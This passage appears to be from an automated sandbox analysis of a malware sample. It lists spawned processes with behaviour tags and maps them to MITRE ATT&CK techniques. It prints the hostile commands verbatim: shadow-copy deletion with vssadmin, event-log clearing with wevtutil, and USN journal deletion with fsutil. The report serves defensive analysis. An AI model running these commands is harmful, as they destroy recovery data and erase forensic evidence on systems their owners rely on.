PID:8004

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:8776

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
PID:11120

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:10452

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Adds Run key to start application
PID:1672

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:12612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery